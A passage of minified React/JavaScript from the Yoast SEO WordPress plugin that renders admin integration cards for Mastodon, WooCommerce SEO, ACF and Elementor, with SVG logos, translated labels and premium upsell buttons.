(0,o.__)("(Opens in a new browser tab)","wordpress-seo"))),e.isNew&&(0,t.createElement)(r.Badge,{className:"yst-absolute yst-top-2 yst-right-2"},(0,o.__)("New","wordpress-seo"))),(0,t.createElement)(k.Content,null,(0,t.createElement)("div",null,e.claim&&(0,t.createElement)("h4",{className:"yst-text-base yst-mb-3 yst-font-medium yst-text-[#111827] yst-leading-tight"},e.claim),e.description&&(0,t.createElement)("p",null," ",e.description," "),e.usps&&(0,t.createElement)("ul",{className:"yst-space-y-3"},e.usps.map(((e,s)=>(0,t.createElement)("li",{key:s,className:"yst-flex yst-items-start"},(0,t.createElement)(A,{className:"yst-h-5 yst-w-5 yst-mr-2 yst-text-green-400 yst-flex-shrink-0"}),(0,t.createElement)("span",null," ",e," "))))),e.learnMoreLink&&(0,t.createElement)(r.Link,{href:e.learnMoreLink,className:"yst-flex yst-items-center yst-mt-3 yst-no-underline yst-font-medium",target:"_blank"},"Learn more",(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo")),(0,t.createElement)(Z,{className:"yst-h-4 yst-w-4 yst-ml-1 yst-icon-rtl"})))),(0,t.createElement)(k.Footer,null,!v(e)&&(0,t.createElement)(r.Button,{id:`${e.name}-upsell-button`,type:"button",as:"a",href:e.upsellLink,variant:"upsell","data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2",className:"yst-w-full yst-text-slate-800",target:"_blank"},(0,t.createElement)(x,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5 yst-text-yellow-900"}),(0,o.__)("Unlock with Premium","wordpress-seo"),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo"))),v(e)&&(0,t.createElement)("p",{className:"yst-flex yst-items-start yst-justify-between"},a)))};O.propTypes={integration:l.PropTypes.shape({name:l.PropTypes.string,claim:l.PropTypes.node,learnMoreLink:l.PropTypes.string,logoLink:l.PropTypes.string,slug:l.PropTypes.string,description:l.PropTypes.string,usps:l.PropTypes.array,logo:l.PropTypes.func.isRequired,isNew:l.PropTypes.bool,upsellLink:l.PropTypes.string}).isRequired,isActive:l.PropTypes.bool,children:l.PropTypes.oneOfType([l.PropTypes.node,l.PropTypes.arrayOf(l.PropTypes.node)])},O.defaultProps={isActive:!0,children:[]};const $=({integration:e,isActive:s})=>(0,t.createElement)(O,{integration:e,isActive:s},s&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Mastodon profile added","wordpress-seo")),(0,t.createElement)(A,{className:"yst-h-5 yst-w-5 yst-text-green-400 yst-flex-shrink-0"})),!s&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Mastodon profile not yet added","wordpress-seo")),(0,t.createElement)(T,{className:"yst-h-5 yst-w-5 yst-text-red-500 yst-flex-shrink-0"})));$.propTypes={integration:l.PropTypes.shape({name:l.PropTypes.string,claim:l.PropTypes.node,slug:l.PropTypes.string,description:l.PropTypes.string,usps:l.PropTypes.array,logo:l.PropTypes.func,isNew:l.PropTypes.bool}).isRequired,isActive:l.PropTypes.bool},$.defaultProps={isActive:!0};const V={name:"Mastodon",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: Mastodon; 3: bold close tag. */
(0,o.__)("Verify your site on %1$s%2$s%3$s","wordpress-seo"),"<strong>","Mastodon","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-mastodon",logoLink:"https://yoa.st/integrations-logo-mastodon",slug:"mastodon",description:(0,o.sprintf)(/* translators: 1: Mastodon, 2: Yoast SEO Premium */
(0,o.__)("Add trustworthiness to your %1$s profile by verifying your site with %2$s.","wordpress-seo"),"Mastodon","Yoast SEO Premium"),isPremium:!0,isNew:!0,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",b({xmlns:"http://www.w3.org/2000/svg",width:140,viewBox:"0 0 713.359 175.868"},e),f||(f=t.createElement("path",{fill:"#2b90d9",d:"M160.555 105.431c-2.413 12.407-21.598 25.983-43.634 28.614-11.491 1.373-22.804 2.631-34.867 2.079-19.73-.904-35.298-4.71-35.298-4.71 0 1.921.119 3.75.355 5.46 2.565 19.47 19.308 20.637 35.166 21.181 16.007.548 30.258-3.947 30.258-3.947l.659 14.472s-11.197 6.011-31.14 7.116c-11 .605-24.654-.276-40.56-4.485C6.999 162.08 1.066 125.31.159 88-.12 76.923.052 66.476.052 57.741.052 19.59 25.05 8.406 25.05 8.406 37.652 2.617 59.279.184 81.764 0h.552c22.484.184 44.125 2.618 56.729 8.406 0 0 24.996 11.183 24.996 49.335 0 0 .313 28.148-3.486 47.69"})),E||(E=t.createElement("path",{fill:"#282c37",d:"M34.658 48.494c0-5.554 4.502-10.055 10.055-10.055s10.055 4.501 10.055 10.055c0 5.553-4.502 10.055-10.055 10.055s-10.055-4.502-10.055-10.055M178.865 60.7v46.195h-18.301V62.057c0-9.452-3.978-14.248-11.933-14.248-8.794 0-13.202 5.69-13.202 16.943v24.542h-18.194V64.751c0-11.252-4.409-16.943-13.203-16.943-7.955 0-11.932 4.796-11.932 14.248v44.838H73.799V60.7c0-9.442 2.403-16.944 7.232-22.495 4.98-5.55 11.501-8.395 19.595-8.395 9.366 0 16.459 3.599 21.146 10.799l4.56 7.642 4.559-7.642c4.689-7.2 11.78-10.8 21.148-10.8 8.093 0 14.613 2.846 19.593 8.396 4.829 5.551 7.233 13.054 7.233 22.495m63.048 22.964c3.776-3.99 5.595-9.015 5.595-15.075 0-6.06-1.819-11.085-5.595-14.928-3.636-3.991-8.254-5.911-13.849-5.911-5.596 0-10.212 1.92-13.849 5.911-3.637 3.843-5.456 8.868-5.456 14.928 0 6.06 1.819 11.085 5.456 15.075 3.637 3.842 8.253 5.763 13.849 5.763 5.595 0 10.213-1.92 13.849-5.763m5.595-52.025h18.046v73.9h-18.046v-8.722c-5.455 7.243-13.01 10.79-22.801 10.79-9.373 0-17.347-3.695-24.062-11.233-6.573-7.538-9.931-16.85-9.931-27.785 0-10.79 3.358-20.102 9.931-27.64 6.715-7.537 14.689-11.38 24.062-11.38 9.79 0 17.346 3.548 22.8 10.79v-8.72zm78.762 35.62c5.315 3.99 7.973 9.606 7.833 16.7 0 7.538-2.658 13.45-8.113 17.588-5.457 3.992-12.03 6.06-20.004 6.06-14.409 0-24.201-5.912-29.378-17.588l15.669-9.31c2.098 6.353 6.714 9.606 13.709 9.606 6.434 0 9.652-2.07 9.652-6.356 0-3.104-4.197-5.912-12.73-8.128a117.46 117.46 0 0 1-7.973-2.514c-2.938-1.18-5.455-2.512-7.554-4.137-5.176-3.99-7.834-9.313-7.834-16.11 0-7.243 2.518-13.006 7.554-17.145 5.176-4.286 11.47-6.355 19.025-6.355 12.03 0 20.844 5.172 26.577 15.666l-15.386 8.868c-2.239-5.024-6.015-7.537-11.191-7.537-5.456 0-8.114 2.07-8.114 6.06 0 3.103 4.196 5.91 12.73 8.128 6.575 1.477 11.75 3.695 15.528 6.504m57.357-17.293h-15.808V80.71c0 3.695 1.4 5.91 4.058 6.945 1.958.74 5.875.887 11.75.59v17.295c-12.17 1.477-20.983.295-26.16-3.697-5.174-3.842-7.693-10.936-7.693-21.133V49.966h-12.17V31.64h12.17V16.71l18.045-5.764V31.64h15.808v18.327zm57.498 33.255c3.637-3.844 5.455-8.722 5.455-14.633s-1.818-10.789-5.455-14.631c-3.638-3.844-8.114-5.764-13.57-5.764-5.455 0-9.931 1.92-13.569 5.764-3.497 3.99-5.316 8.867-5.316 14.631 0 5.765 1.819 10.643 5.316 14.633 3.638 3.842 8.114 5.763 13.569 5.763 5.456 0 9.932-1.921 13.57-5.763m-39.869 13.153c-7.134-7.537-10.631-16.701-10.631-27.786 0-10.937 3.497-20.1 10.631-27.637 7.134-7.538 15.948-11.38 26.299-11.38 10.352 0 19.165 3.842 26.3 11.38 7.135 7.537 10.771 16.848 10.771 27.637 0 10.938-3.636 20.249-10.771 27.786-7.135 7.539-15.808 11.233-26.3 11.233-10.491 0-19.165-3.694-26.299-11.233m123.665-12.71c3.638-3.99 5.455-9.015 5.455-15.075 0-6.06-1.817-11.085-5.455-14.928-3.636-3.991-8.253-5.911-13.848-5.911-5.597 0-10.213 1.92-13.99 5.911-3.635 3.843-5.455 8.868-5.455 14.928 0 6.06 1.82 11.085 5.456 15.075 3.776 3.842 8.532 5.763 13.989 5.763 5.595 0 10.212-1.92 13.848-5.763m5.455-81.585h18.047v103.46h-18.047v-8.722c-5.315 7.243-12.87 10.79-22.661 10.79-9.372 0-17.485-3.695-24.2-11.233-6.575-7.538-9.932-16.85-9.932-27.785 0-10.79 3.357-20.102 9.932-27.64 6.715-7.537 14.828-11.38 24.2-11.38 9.791 0 17.346 3.548 22.661 10.79V2.079zm81.42 81.142c3.637-3.844 5.455-8.722 5.455-14.633s-1.818-10.789-5.455-14.631c-3.637-3.844-8.113-5.764-13.57-5.764-5.455 0-9.932 1.92-13.568 5.764-3.5 3.99-5.317 8.867-5.317 14.631 0 5.765 1.818 10.643 5.317 14.633 3.636 3.842 8.113 5.763 13.568 5.763 5.457 0 9.933-1.921 13.57-5.764m-39.868 13.154c-7.135-7.537-10.632-16.701-10.632-27.786 0-10.937 3.497-20.1 10.632-27.637 7.135-7.538 15.947-11.38 26.298-11.38 10.353 0 19.165 3.842 26.3 11.38 7.135 7.537 10.772 16.848 10.772 27.637 0 10.938-3.637 20.249-10.772 27.786-7.135 7.539-15.807 11.233-26.3 11.233-10.491 0-19.163-3.694-26.298-11.233m141.43-36.21v45.374h-18.045v-43.01c0-4.877-1.26-8.572-3.777-11.38-2.378-2.512-5.736-3.843-10.072-3.843-10.213 0-15.388 6.06-15.388 18.328v39.905H648.03v-73.9h18.046v8.277c4.337-6.946 11.19-10.345 20.844-10.345 7.694 0 13.989 2.66 18.885 8.129 5.035 5.469 7.554 12.859 7.554 22.465"}))),upsellLink:"https://yoa.st/get-mastodon-integration"},I=[[].map(((e,s)=>(0,t.createElement)(L,{key:s,integration:e,toggleLabel:(0,o.__)("Enable integration","wordpress-seo"),initialActivationState:y(e),isNetworkControlEnabled:g(e),isMultisiteAvailable:d(e),beforeToggle:w}))),(0,t.createElement)($,{key:3,integration:V,isActive:Boolean(window.wpseoIntegrationsData.mastodon_active)})];var S,z,C,j,R,F,B,H;function D(){return D=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},D.apply(this,arguments)}function Y(){return Y=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},Y.apply(this,arguments)}function q(){return q=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},q.apply(this,arguments)}function G(){return G=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},G.apply(this,arguments)}const W=e=>t.createElement("svg",G({xmlns:"http://www.w3.org/2000/svg",width:153,height:58,"aria-hidden":"true",viewBox:"0 0 107.51 40.69"},e),j||(j=t.createElement("path",{fill:"#7c579f",fillRule:"evenodd",d:"M16.75 23.78h23.13c1.46 0 2.65 1.19 2.65 2.65v8.82c0 1.46-1.18 2.65-2.65 2.65h-8.3l1.14 2.79-5.01-2.79H16.75c-1.46 0-2.65-1.18-2.65-2.65v-8.82c0-1.46 1.19-2.65 2.65-2.65Z"})),R||(R=t.createElement("path",{fill:"#fff",d:"M15.53 26.18c.17-.22.41-.34.73-.36.59-.04.93.24 1.02.83.36 2.42.75 4.48 1.17 6.17L21 27.98c.23-.44.52-.67.87-.69.51-.04.83.29.96.97.29 1.54.66 2.86 1.1 3.97.3-2.95.82-5.08 1.53-6.4a.92.92 0 0 1 .77-.52c.27-.02.52.06.73.23.22.17.34.39.35.67.01.2-.02.39-.11.55-.45.84-.83 2.24-1.12 4.2-.29 1.89-.4 3.37-.32 4.43.02.29-.02.55-.13.76-.14.26-.35.4-.62.42-.31.02-.61-.12-.92-.43-1.08-1.11-1.94-2.76-2.57-4.94-.75 1.49-1.31 2.6-1.68 3.35-.68 1.31-1.27 1.99-1.75 2.02-.32.02-.59-.24-.81-.8-.6-1.52-1.24-4.46-1.92-8.82-.04-.3.02-.57.18-.78ZM40.51 28c-.42-.73-1.04-1.18-1.86-1.35-.22-.05-.43-.07-.63-.07-1.11 0-2.02.58-2.73 1.74-.6.99-.9 2.08-.9 3.27 0 .9.19 1.66.56 2.3.42.73 1.04 1.18 1.86 1.35.22.05.43.07.63.07 1.13 0 2.03-.58 2.73-1.74.6-1 .9-2.1.9-3.29 0-.9-.19-1.66-.56-2.28Zm-1.47 3.22c-.16.76-.45 1.34-.89 1.72-.34.31-.65.43-.94.37-.28-.06-.51-.31-.68-.75-.14-.36-.2-.72-.2-1.06a3.847 3.847 0 0 1 .7-2.23c.39-.57.79-.81 1.21-.72.28.06.51.31.68.75.14.36.2.72.2 1.06 0 .3-.03.58-.09.85ZM33.22 28c-.42-.73-1.04-1.18-1.86-1.35-.22-.05-.43-.07-.63-.07-1.11 0-2.02.58-2.73 1.74-.6.99-.9 2.08-.9 3.27 0 .9.19 1.66.56 2.3.42.73 1.04 1.18 1.86 1.35.22.05.43.07.63.07 1.12 0 2.03-.58 2.73-1.74.6-1 .9-2.1.9-3.29 0-.9-.19-1.66-.56-2.28Zm-1.47 3.22c-.16.76-.45 1.34-.89 1.72-.34.31-.65.43-.94.37-.28-.06-.51-.31-.68-.75-.14-.36-.2-.72-.2-1.06a3.847 3.847 0 0 1 .7-2.23c.39-.57.79-.81 1.21-.72.28.06.51.31.68.75.14.36.2.72.2 1.06 0 .3-.03.58-.09.85Z"})),F||(F=t.createElement("path",{d:"M45.47 27.9c-.78.77-1.16 1.74-1.16 2.92 0 1.27.38 2.3 1.15 3.08.77.78 1.77 1.17 3.01 1.17.36 0 .76-.06 1.21-.18v-1.88c-.4.12-.76.18-1.06.18-.62 0-1.11-.21-1.48-.62-.37-.41-.55-.97-.55-1.69 0-.66.18-1.2.55-1.63.37-.43.83-.64 1.38-.64.36 0 .75.06 1.16.17V26.9c-.39-.1-.81-.15-1.27-.15-1.19 0-2.17.38-2.94 1.15Zm8.06-1.15c-1.07 0-1.91.36-2.51 1.07-.6.71-.9 1.71-.9 2.98 0 1.38.3 2.44.9 3.17.6.73 1.46 1.1 2.6 1.1s1.95-.37 2.54-1.1c.59-.73.89-1.76.89-3.09s-.3-2.35-.91-3.06c-.6-.71-1.48-1.07-2.62-1.07Zm.92 6.04c-.21.33-.52.49-.92.49-.37 0-.65-.16-.85-.49-.2-.33-.29-.98-.29-1.96 0-1.52.39-2.28 1.16-2.28.82 0 1.23.77 1.23 2.32 0 .96-.11 1.6-.32 1.93Zm8.36-5.82-.42 1.78c-.11.45-.21.92-.3 1.4l-.23 1.23c-.22-1.23-.52-2.7-.91-4.4h-2.7l-1.02 7.91h2.02l.55-5.45 1.38 5.45h1.45l1.32-5.44.57 5.44h2.12l-1.07-7.91h-2.76Zm9.68 0-.42 1.78c-.11.45-.21.92-.3 1.4l-.23 1.23c-.22-1.23-.52-2.7-.91-4.4h-2.7l-1.02 7.91h2.02l.55-5.45 1.38 5.45h1.45l1.32-5.44.57 5.44h2.12l-1.07-7.91h-2.76Zm6.57 4.78h1.9v-1.64h-1.9v-1.46h2.19v-1.68h-4.32v7.91h4.34v-1.69h-2.2v-1.44Zm8.22-1.25c.22-.36.33-.73.33-1.11 0-.75-.29-1.34-.87-1.77-.58-.43-1.38-.65-2.38-.65h-2.49v7.91h2.14v-3.6h.04l1.73 3.6h2.26l-1.71-3.57c.42-.18.75-.45.97-.81ZM84 30.37v-1.88c.51.01.87.1 1.09.25.22.16.33.42.33.79 0 .54-.47.82-1.42.84Zm4.88-2.47c-.78.77-1.16 1.74-1.16 2.92 0 1.27.38 2.3 1.15 3.08.77.78 1.77 1.17 3.01 1.17.36 0 .76-.06 1.21-.18v-1.88c-.4.12-.76.18-1.06.18-.62 0-1.11-.21-1.48-.62-.37-.41-.55-.97-.55-1.69 0-.66.18-1.2.55-1.63.37-.43.83-.64 1.38-.64.36 0 .75.06 1.16.17V26.9c-.39-.1-.81-.15-1.27-.15-1.18 0-2.17.38-2.94 1.15Zm6.94 5.29v-1.44h1.9v-1.64h-1.9v-1.46h2.19v-1.68h-4.32v7.91h4.34v-1.69h-2.2Z"})),B||(B=t.createElement("path",{fill:"#a71d69",d:"M21.21 6.8c-4.96 0-6.94 3.33-6.94 7.03s1.95 7.18 6.94 7.18 6.93-3.48 6.92-6.95c-.01-4.22-2.15-7.26-6.92-7.26Zm-3 7.24c.12-4.96 3.93-4.95 5.2-3.18 1.16 1.62 1.4 7.15-2.2 7.11-1.66-.02-2.96-1.14-3-3.94Zm43.22 3.54V10.4H64V7.28h-2.57V3.51h-3.97v3.77h-2.01v3.12h2.01v6.77c0 3.85 2.68 6.14 5.52 6.61l1.18-3.19c-1.65-.21-2.72-1.44-2.74-3.02Zm-20.01-1.14v-5.4c0-.2-.01-.38-.03-.56-.34-4.36-6.54-4.35-11.34-2.68l1.39 2.79c3.12-1.48 4.99-1.1 5.65-.37.02.02.03.04.05.06.33.45.25 1.16.25 1.72-4.08 0-8.43.54-8.43 5.02 0 3.4 4.27 5.59 8.72 2.35l.66 1.6h3.82c-.34-1.87-.75-3.48-.75-4.53Zm-3.99-.03c-3.14 3.51-6.02.21-3.07-1.24.87-.3 2.04-.31 3.07-.31v1.55Zm10.08-5.66c0-1.33 2.13-1.95 5.49-.42l1.16-2.82c-4.52-1.37-10.69-1.49-10.73 3.24-.02 2.27 1.43 3.48 3.53 4.26 1.45.54 3.54.82 3.54 1.97 0 1.51-3.25 1.74-6.2-.29l-1.19 3.06c4.03 2 11.52 2.06 11.48-2.96-.04-4.97-7.06-4.12-7.06-6.04ZM12.6 0 6.85 15.97 4.1 7.35H0l4.58 11.78c.39 1 .39 2.12 0 3.12-.51 1.31-1.37 2.44-3.44 2.72v3.49c4.05 0 6.23-2.49 8.19-7.94L16.98 0H12.6ZM76.58 17.69c0 1.05-.38 1.87-1.14 2.46s-1.8.89-3.14.89-2.42-.21-3.27-.62V18.6c.54.25 1.11.45 1.71.6s1.17.22 1.69.22c.76 0 1.33-.14 1.69-.43s.54-.68.54-1.17c0-.44-.17-.81-.5-1.12-.33-.31-1.02-.67-2.06-1.09-1.07-.43-1.83-.93-2.27-1.49-.44-.56-.66-1.23-.66-2.01 0-.98.35-1.76 1.05-2.32.7-.56 1.64-.85 2.81-.85s2.25.25 3.37.74l-.61 1.57c-1.05-.44-1.98-.66-2.81-.66-.62 0-1.1.14-1.42.41-.32.27-.48.63-.48 1.08 0 .31.06.57.19.79s.34.42.64.62c.3.19.83.45 1.6.77.86.36 1.5.7 1.9 1.01.4.31.7.66.89 1.06.19.39.28.85.28 1.39Zm8.78 3.2h-6.67V9.12h6.67v1.63h-4.74v3.21h4.44v1.61h-4.44v3.7h4.74v1.63Zm12.85-5.91c0 1.92-.48 3.41-1.44 4.47-.96 1.06-2.32 1.59-4.07 1.59s-3.14-.53-4.1-1.58c-.95-1.06-1.43-2.55-1.43-4.5s.48-3.44 1.44-4.48c.96-1.04 2.33-1.56 4.11-1.56s3.11.53 4.06 1.59c.96 1.06 1.43 2.55 1.43 4.47Zm-9 0c0 1.45.29 2.55.88 3.3.59.75 1.45 1.12 2.6 1.12s2.01-.37 2.59-1.11c.58-.74.87-1.84.87-3.31s-.29-2.54-.87-3.29c-.58-.75-1.44-1.12-2.58-1.12s-2.03.37-2.62 1.12c-.59.75-.88 1.84-.88 3.29Z"})),H||(H=t.createElement("path",{fill:"#77b22b",d:"m101.16 21.06 4.62-12.17h1.73l-4.61 12.17h-1.74z"}))),U=({integration:e,isActive:s,isInstalled:a,isPrerequisiteActive:n,activationLink:l})=>(0,t.createElement)(O,{integration:e,isActive:s},!n&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Plugin not detected","wordpress-seo")),(0,t.createElement)(T,{className:"yst-h-5 yst-w-5 yst-text-red-500 yst-flex-shrink-0"})),n&&s&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Integration active","wordpress-seo")),(0,t.createElement)(A,{className:"yst-h-5 yst-w-5 yst-text-green-400 yst-flex-shrink-0"})),n&&!s&&a&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(r.Button,{id:`${e.name}-upsell-button`,type:"button",as:"a",variant:"secondary",href:l,className:"yst-w-full yst-text-slate-800 yst-text-center"},(0,o.sprintf)(/* translators: 1: Yoast WooCommerce SEO */
(0,o.__)("Activate %s","wordpress-seo"),"Yoast WooCommerce SEO"))),n&&!s&&!a&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(r.Button,{id:`${e.name}-upsell-button`,type:"button",as:"a",href:e.upsellLink,variant:"upsell",className:"yst-w-full yst-text-slate-800",target:"_blank"},(0,t.createElement)(x,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5 yst-text-yellow-900"}),(0,o.sprintf)(/* translators: 1: Yoast WooCommerce SEO */
(0,o.__)("Buy %s","wordpress-seo"),"Yoast WooCommerce SEO"),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo")))));U.propTypes={integration:l.PropTypes.shape({name:l.PropTypes.string,claim:l.PropTypes.node,slug:l.PropTypes.string,description:l.PropTypes.string,usps:l.PropTypes.array,logo:l.PropTypes.func,isNew:l.PropTypes.bool,upsellLink:l.PropTypes.string}).isRequired,isActive:l.PropTypes.bool,isInstalled:l.PropTypes.bool,isPrerequisiteActive:l.PropTypes.bool,activationLink:l.PropTypes.string.isRequired},U.defaultProps={isActive:!0,isInstalled:!0,isPrerequisiteActive:!0};const J=e=>(0,t.createElement)("img",{src:window.wpseoIntegrationsData.plugin_url+"/images/acf-logo.png",height:"50",width:"50",alt:(0,o.sprintf)(/* translators: 1: Yoast SEO, 2: ACF */
(0,o.__)("%1$s integrates with %2$s","wordpress-seo"),"Yoast SEO","ACF"),...e}),K=({integration:e,isActive:s,isInstalled:a,isPrerequisiteActive:n,installationLink:l,activationLink:c})=>(e.logo=J,(0,t.createElement)(O,{integration:e,isActive:s},!n&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Plugin not detected","wordpress-seo")),(0,t.createElement)(T,{className:"yst-h-5 yst-w-5 yst-text-red-500 yst-flex-shrink-0"})),n&&s&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Integration active","wordpress-seo")),(0,t.createElement)(A,{className:"yst-h-5 yst-w-5 yst-text-green-400 yst-flex-shrink-0"})),n&&!s&&a&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(r.Button,{id:`${e.name}-upsell-button`,type:"button",as:"a",variant:"secondary",href:c,className:"yst-w-full yst-text-slate-800 yst-text-center"},(0,o.sprintf)(/* translators: 1: ACF, 2: Yoast SEO */
(0,o.__)("Activate %1$s Content Analysis for %2$s","wordpress-seo"),"ACF","Yoast SEO"))),n&&!s&&!a&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)(r.Button,{id:`${e.name}-upsell-button`,type:"button",as:"a",href:l,variant:"secondary",className:"yst-w-full yst-text-slate-800 yst-text-center"},(0,o.sprintf)(/* translators: 1: ACF, 2: Yoast SEO */
(0,o.__)("Install %1$s Content Analysis for %2$s","wordpress-seo"),"ACF","Yoast SEO")))));K.propTypes={integration:l.PropTypes.shape({name:l.PropTypes.string,claim:l.PropTypes.node,slug:l.PropTypes.string,description:l.PropTypes.string,usps:l.PropTypes.array,logo:l.PropTypes.func,isNew:l.PropTypes.bool}).isRequired,isActive:l.PropTypes.bool,isInstalled:l.PropTypes.bool,isPrerequisiteActive:l.PropTypes.bool,installationLink:l.PropTypes.string,activationLink:l.PropTypes.string},K.defaultProps={isActive:!0,isInstalled:!0};const Q=({integration:e,isActive:s})=>(0,t.createElement)(O,{integration:e,isActive:s},s&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Integration active","wordpress-seo")),(0,t.createElement)(A,{className:"yst-h-5 yst-w-5 yst-text-green-400 yst-flex-shrink-0"})),!s&&(0,t.createElement)(i.Fragment,null,(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Plugin not detected","wordpress-seo")),(0,t.createElement)(T,{className:"yst-h-5 yst-w-5 yst-text-red-500 yst-flex-shrink-0"})));Q.propTypes={integration:l.PropTypes.shape({name:l.PropTypes.string,claim:l.PropTypes.node,slug:l.PropTypes.string,description:l.PropTypes.string,usps:l.PropTypes.array,logo:l.PropTypes.func,isNew:l.PropTypes.bool}).isRequired,isActive:l.PropTypes.bool},Q.defaultProps={isActive:!0};const X=({integration:e,initialActivationState:s,isNetworkControlEnabled:a,isMultisiteAvailable:n,toggleLabel:l,beforeToggle:c,isPrerequisiteActive:m})=>{const[p,h]=(0,i.useState)(s),y=(0,i.useCallback)((async()=>{let t=!0;const s=!p;h(s),c&&(t=!1,t=await c(e,s)),t||h(!s)}),[p,c,h]),g=e.logo;return(0,t.createElement)(k,null,(0,t.createElement)(k.Header,null,(0,t.createElement)(r.Link,{href:e.logoLink,target:"_blank"},e.logo&&(0,t.createElement)(g,{alt:(0,o.sprintf)(/* translators: 1: Yoast SEO, 2: integration name */
(0,o.__)("%1$s integrates with %2$s","wordpress-seo"),"Yoast SEO",e.name),className:m&&u(e,p)?"":"yst-opacity-50 yst-filter yst-grayscale"}),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo"))),!a&&n&&(0,t.createElement)(r.Badge,{className:"yst-absolute yst-top-2 yst-right-2"},(0,o.__)("Network Disabled","wordpress-seo")),a&&e.isNew&&(0,t.createElement)(r.Badge,{className:"yst-absolute yst-top-2 yst-right-2"},(0,o.__)("New","wordpress-seo"))),(0,t.createElement)(k.Content,null,(0,t.createElement)("div",null,e.claim&&(0,t.createElement)("h4",{className:"yst-text-base yst-mb-3 yst-font-medium yst-text-[#111827] yst-leading-tight"},e.claim),(0,t.createElement)("p",null," ",e.description,e.learnMoreLink&&(0,t.createElement)(r.Link,{href:e.learnMoreLink,className:"yst-flex yst-items-center yst-mt-3 yst-no-underline yst-font-medium",target:"_blank"},"Learn more",(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo")),(0,t.createElement)(Z,{className:"yst-h-4 yst-w-4 yst-ml-1 yst-icon-rtl"})))),p&&(0,t.createElement)(N.Slot,{name:`${e.name}Slot`})),(0,t.createElement)(k.Footer,null,!m&&(0,t.createElement)("p",{className:"yst-flex yst-items-start yst-justify-between"},(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Plugin not detected","wordpress-seo")),(0,t.createElement)(T,{className:"yst-h-5 yst-w-5 yst-text-red-500 yst-flex-shrink-0"})),m&&!v(e)&&(0,t.createElement)(r.Button,{id:`${e.name}-upsell-button`,type:"button",as:"a",href:e.upsellLink,variant:"upsell",className:"yst-w-full yst-text-slate-800",target:"_blank"},(0,t.createElement)(x,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5 yst-text-yellow-900"}),(0,o.__)("Unlock with Premium","wordpress-seo"),(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,o.__)("(Opens in a new browser tab)","wordpress-seo"))),m&&v(e)&&!d(e)&&(0,t.createElement)("p",{className:"yst-flex yst-items-start yst-justify-between"},(0,t.createElement)("span",{className:"yst-text-slate-700 yst-font-medium"},(0,o.__)("Integration unavailable for multisites","wordpress-seo")),(0,t.createElement)(T,{className:"yst-h-5 yst-w-5 yst-text-red-500 yst-flex-shrink-0"})),m&&v(e)&&d(e)&&(0,t.createElement)(r.ToggleField,{checked:p,label:l,onChange:y,disabled:!a||!n})))};X.propTypes={integration:l.PropTypes.shape({name:l.PropTypes.string,claim:l.PropTypes.node,learnMoreLink:l.PropTypes.string,logoLink:l.PropTypes.string,slug:l.PropTypes.string,description:l.PropTypes.string,usps:l.PropTypes.array,logo:l.PropTypes.func,isPremium:l.PropTypes.bool,isNew:l.PropTypes.bool,isMultisiteAvailable:l.PropTypes.bool,upsellLink:l.PropTypes.string}),initialActivationState:l.PropTypes.bool,isNetworkControlEnabled:l.PropTypes.bool,isMultisiteAvailable:l.PropTypes.bool,toggleLabel:l.PropTypes.string,beforeToggle:l.PropTypes.func,isPrerequisiteActive:l.PropTypes.bool};const ee={elementor:{name:"Elementor",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: Yoast SEO; 2: bold open tag; 3: Elementor; 4: bold close tag. */
